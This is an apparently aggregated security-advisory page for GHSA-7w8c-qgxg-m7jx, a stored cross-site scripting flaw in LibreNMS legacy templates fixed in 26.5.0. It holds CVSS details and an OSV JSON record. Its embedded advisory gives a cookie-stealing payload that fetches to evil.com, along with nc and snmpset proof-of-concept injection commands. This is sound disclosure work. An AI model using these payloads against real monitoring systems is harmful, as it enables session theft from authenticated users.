GHSA-7w8c-qgxg-m7jx: Librenms/librenms Cross-Site Scripting Vulnerability

HIGH
CVSS 7.1
CWE-79
Published
Advisory Summary

GHSA-7w8c-qgxg-m7jx is a HIGH (CVSS 7.1) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Librenms/librenms libraries in the Packagist ecosystem. The issue involves librenms — stored xss via snmp/syslog data in legacy templates. Remediation is available by upgrading affected packages to version 26.5.0.

GHSA-7w8c-qgxg-m7jx at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-7w8c-qgxg-m7jx
Severity HIGH
CVSS v3.1 Base Score 7.1
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product Librenms/librenms
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 7.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity Low (I:L)
Availability None (A:N)

How to Fix GHSA-7w8c-qgxg-m7jx

To remediate this vulnerability, upgrade all affected Librenms/librenms dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

librenms/librenms fixed: 26.5.0
Upgrade librenms/librenms to 26.5.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for librenms/librenms

How to Check if You Are Affected

To determine whether your application is affected by GHSA-7w8c-qgxg-m7jx, inspect your project dependencies for Librenms/librenms:

inspect dependencies for librenms/librenms

Analyze the terminal output to locate any version of Librenms/librenms in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 26.5.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Librenms/librenms, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary Multiple legacy PHP template files in LibreNMS directly output SNMP-sourced and syslog-sourced data into HTML without escaping. An attacker who controls a monitored network device (via compromised SNMP agent or syslog sender) can inject arbitrary JavaScript that executes when any authenticated LibreNMS user views the affected pages. ## Vulnerable Code ### Location 1: Syslog `program` field (clearest instance) **File:** `includes/html/print-syslog.inc.php:11,13` ```php $syslog_output .= '<td><strong>' . $entry['program'] . ' : </strong> ' . htmlspecialchars((string) $entry['msg']) . '</td>'; ``` The `program` field is output without `htmlspecialchars()` while the adjacent `msg` field IS properly escaped. The `program` value comes from syslog messages received from monitored devices. ### Location 2: Alert details `ifAlias` (highest impact — main alerts page) **File:** `includes/html/functions.inc.php:607` ```php $fault_detail .= $tmp_alerts['ifAlias'] . '; '; ``` The `ifAlias` (port description) comes from SNMP polling and is stored in the `ports` table. When a port-related alert fires, `format_alert_details()` renders it unescaped. Multiple other fields in this function are also unescaped: `isisISAdjIPAddrAddress` (line 598), `service_desc`/`service_message` (lines 656,658), `bgpPeerDescr` (line 672), `mempool_descr` (line 686), `app_type` (line 709). ### Location 3: Health pages — `mempool_descr`, `storage_descr`, `sensor_descr` **File:** `includes/html/pages/device/health/mempool.inc.php:38` ```php echo "<h3 class='panel-title'>{$mempool->mempool_descr} ..."; ``` **File:** `includes/html/pages/device/health/storage.inc.php:27` ```php echo "<h3 class='panel-title'>{$drive['storage_descr']} ..."; ``` **File:** `includes/html/pages/device/health/sensors.inc.php:29` ```php echo "<h3 class='panel-title'>$sensor_descr ..."; ``` All three health page templates output SNMP-polled descriptions directly into `<h3>` tags without escaping. ### Location 4: Pseudowires `ifAlias` **File:** `includes/html/pages/pseudowires.inc.php:76` ```php echo "<tr ...><td colspan=2>" . $pw_a['ifAlias'] . '</td><td colspan=2>' . $pw_b['ifAlias'] . '</td></tr>'; ``` ### Location 5: VRF page `ifAlias` **File:** `includes/html/pages/routing/vrf.inc.php:165` ```php echo "<div style='font-size: 9px;'>" . substr((string) short_port_descr($port['ifAlias']), 0, 22) . '</div>'; ``` ## Data Flow ``` Attacker-controlled SNMP device/syslog source → SNMP polling stores ifAlias/mempool_descr/etc in DB (no sanitization on write) → OR syslog receiver stores program field in syslog table → Authenticated user views alerts/health/syslog page → Legacy PHP template echoes raw value into HTML → XSS executes in victim's browser session ``` ## Attack Scenario 1. Attacker compromises or controls a network device monitored by LibreNMS 2. Attacker configures the device's SNMP interface description (ifAlias) to: `<img src=x onerror="fetch('https://evil.com/'+document.cookie)">` 3. LibreNMS polls the device via SNMP and stores the malicious ifAlias in the `ports` table 4. When any alert fires for this port, the XSS payload executes for every authenticated user viewing the alerts page 5. Alternatively: attacker sends syslog messages with XSS in the program field, targeting the syslog viewer page ## PoC ### Syslog vector (simplest) ```bash # Send syslog message with XSS in program field # Assuming LibreNMS syslog receiver is at 10.0.0.1:514 echo '<14>Mar 20 12:00:00 rogue-device <img/src=x onerror=alert(document.domain)>: test message' | nc -u 10.0.0.1 514 ``` ### SNMP vector ```bash # On attacker-controlled SNMP device, set interface description: # snmpset -v2c -c private localhost IF-MIB::ifAlias.1 s '<img src=x onerror=alert(document.cookie)>' # LibreNMS will poll this during next discovery/polling cycle ``` ## Contrast with Properly Escaped Code Newer Blade templates and some legacy code properly escape SNMP data: - `includes/html/dev-overview-data.inc.php` uses `Clean::html()` for sysDescr, sysName, hardware - `app/Http/Controllers/Device/Tabs/PortsController.php` uses `htmlentities()` on ifAlias - `app/Http/Controllers/Table/EventlogController.php:97` uses `htmlspecialchars()` on message - All Blade templates use `{{ }}` auto-escaping The vulnerability exists specifically in the legacy `includes/html/` PHP files that have not been migrated to Blade.

GHSA-7w8c-qgxg-m7jx Affected Librenms/librenms Versions

1 component(s)
Fixed Versions:
26.5.0
Product / Package Ecosystem Affected Versions Fixed Version
librenms/librenms
Packagist
< 26.5.0
26.5.0

References

Frequently Asked Questions

What is GHSA-7w8c-qgxg-m7jx?
GHSA-7w8c-qgxg-m7jx is a security vulnerability in Librenms/librenms involving LibreNMS — Stored XSS via SNMP/Syslog Data in Legacy Templates under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which Librenms/librenms versions are affected?
Affected versions include releases prior to 26.5.0 across affected packages: librenms/librenms.
What version fixes GHSA-7w8c-qgxg-m7jx?
Upgrading to 26.5.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is librenms/librenms affected?
Yes, librenms/librenms is affected in releases prior to 26.5.0. Upgrade your dependency to 26.5.0 or later.
What is the CVSS score of GHSA-7w8c-qgxg-m7jx?
GHSA-7w8c-qgxg-m7jx has a CVSS v3.1 base score of 7.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N.
What CWE is associated with GHSA-7w8c-qgxg-m7jx?
GHSA-7w8c-qgxg-m7jx is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check Packagist dependencies for GHSA-7w8c-qgxg-m7jx?
Run the dependency tree command: 'inspect dependencies for librenms/librenms'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7w8c-qgxg-m7jx",
  "modified" : "2026-08-26T18:05:46Z",
  "published" : "2026-08-26T18:05:46Z",
  "aliases" : [ ],
  "summary" : "LibreNMS — Stored XSS via SNMP/Syslog Data in Legacy Templates",
  "details" : "## Summary\n\nMultiple legacy PHP template files in LibreNMS directly output SNMP-sourced and syslog-sourced data into HTML without escaping. An attacker who controls a monitored network device (via compromised SNMP agent or syslog sender) can inject arbitrary JavaScript that executes when any authenticated LibreNMS user views the affected pages.\n\n## Vulnerable Code\n\n### Location 1: Syslog `program` field (clearest instance)\n\n**File:** `includes/html/print-syslog.inc.php:11,13`\n\n```php\n$syslog_output .= '<td><strong>' . $entry['program'] . ' : </strong> ' . htmlspecialchars((string) $entry['msg']) . '</td>';\n```\n\nThe `program` field is output without `htmlspecialchars()` while the adjacent `msg` field IS properly escaped. The `program` value comes from syslog messages received from monitored devices.\n\n### Location 2: Alert details `ifAlias` (highest impact — main alerts page)\n\n**File:** `includes/html/functions.inc.php:607`\n\n```php\n$fault_detail .= $tmp_alerts['ifAlias'] . '; ';\n```\n\nThe `ifAlias` (port description) comes from SNMP polling and is stored in the `ports` table. When a port-related alert fires, `format_alert_details()` renders it unescaped. Multiple other fields in this function are also unescaped: `isisISAdjIPAddrAddress` (line 598), `service_desc`/`service_message` (lines 656,658), `bgpPeerDescr` (line 672), `mempool_descr` (line 686), `app_type` (line 709).\n\n### Location 3: Health pages — `mempool_descr`, `storage_descr`, `sensor_descr`\n\n**File:** `includes/html/pages/device/health/mempool.inc.php:38`\n```php\necho \"<h3 class='panel-title'>{$mempool->mempool_descr} ...\";\n```\n\n**File:** `includes/html/pages/device/health/storage.inc.php:27`\n```php\necho \"<h3 class='panel-title'>{$drive['storage_descr']} ...\";\n```\n\n**File:** `includes/html/pages/device/health/sensors.inc.php:29`\n```php\necho \"<h3 class='panel-title'>$sensor_descr ...\";\n```\n\nAll three health page templates output SNMP-polled descriptions directly into `<h3>` tags without escaping.\n\n### Location 4: Pseudowires `ifAlias`\n\n**File:** `includes/html/pages/pseudowires.inc.php:76`\n```php\necho \"<tr ...><td colspan=2>\" . $pw_a['ifAlias'] . '</td><td colspan=2>' . $pw_b['ifAlias'] . '</td></tr>';\n```\n\n### Location 5: VRF page `ifAlias`\n\n**File:** `includes/html/pages/routing/vrf.inc.php:165`\n```php\necho \"<div style='font-size: 9px;'>\" . substr((string) short_port_descr($port['ifAlias']), 0, 22) . '</div>';\n```\n\n## Data Flow\n\n```\nAttacker-controlled SNMP device/syslog source\n  → SNMP polling stores ifAlias/mempool_descr/etc in DB (no sanitization on write)\n  → OR syslog receiver stores program field in syslog table\n  → Authenticated user views alerts/health/syslog page\n  → Legacy PHP template echoes raw value into HTML\n  → XSS executes in victim's browser session\n```\n\n## Attack Scenario\n\n1. Attacker compromises or controls a network device monitored by LibreNMS\n2. Attacker configures the device's SNMP interface description (ifAlias) to: `<img src=x onerror=\"fetch('https://evil.com/'+document.cookie)\">`\n3. LibreNMS polls the device via SNMP and stores the malicious ifAlias in the `ports` table\n4. When any alert fires for this port, the XSS payload executes for every authenticated user viewing the alerts page\n5. Alternatively: attacker sends syslog messages with XSS in the program field, targeting the syslog viewer page\n\n## PoC\n\n### Syslog vector (simplest)\n```bash\n# Send syslog message with XSS in program field\n# Assuming LibreNMS syslog receiver is at 10.0.0.1:514\necho '<14>Mar 20 12:00:00 rogue-device <img/src=x onerror=alert(document.domain)>: test message' | nc -u 10.0.0.1 514\n```\n\n### SNMP vector\n```bash\n# On attacker-controlled SNMP device, set interface description:\n# snmpset -v2c -c private localhost IF-MIB::ifAlias.1 s '<img src=x onerror=alert(document.cookie)>'\n# LibreNMS will poll this during next discovery/polling cycle\n```\n\n## Contrast with Properly Escaped Code\n\nNewer Blade templates and some legacy code properly escape SNMP data:\n- `includes/html/dev-overview-data.inc.php` uses `Clean::html()` for sysDescr, sysName, hardware\n- `app/Http/Controllers/Device/Tabs/PortsController.php` uses `htmlentities()` on ifAlias\n- `app/Http/Controllers/Table/EventlogController.php:97` uses `htmlspecialchars()` on message\n- All Blade templates use `{{ }}` auto-escaping\n\nThe vulnerability exists specifically in the legacy `includes/html/` PHP files that have not been migrated to Blade.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "librenms/librenms"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "26.5.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/librenms/librenms/security/advisories/GHSA-7w8c-qgxg-m7jx"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/librenms/librenms/pull/19660"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/librenms/librenms/commit/6782af940c3c495755923b520a302f3a1cb1ce6b"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/librenms/librenms"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/librenms/librenms/releases/tag/26.5.0"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/librenms/librenms/releases/tag/26.8.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-26T18:05:46Z",
    "nvd_published_at" : null
  }
}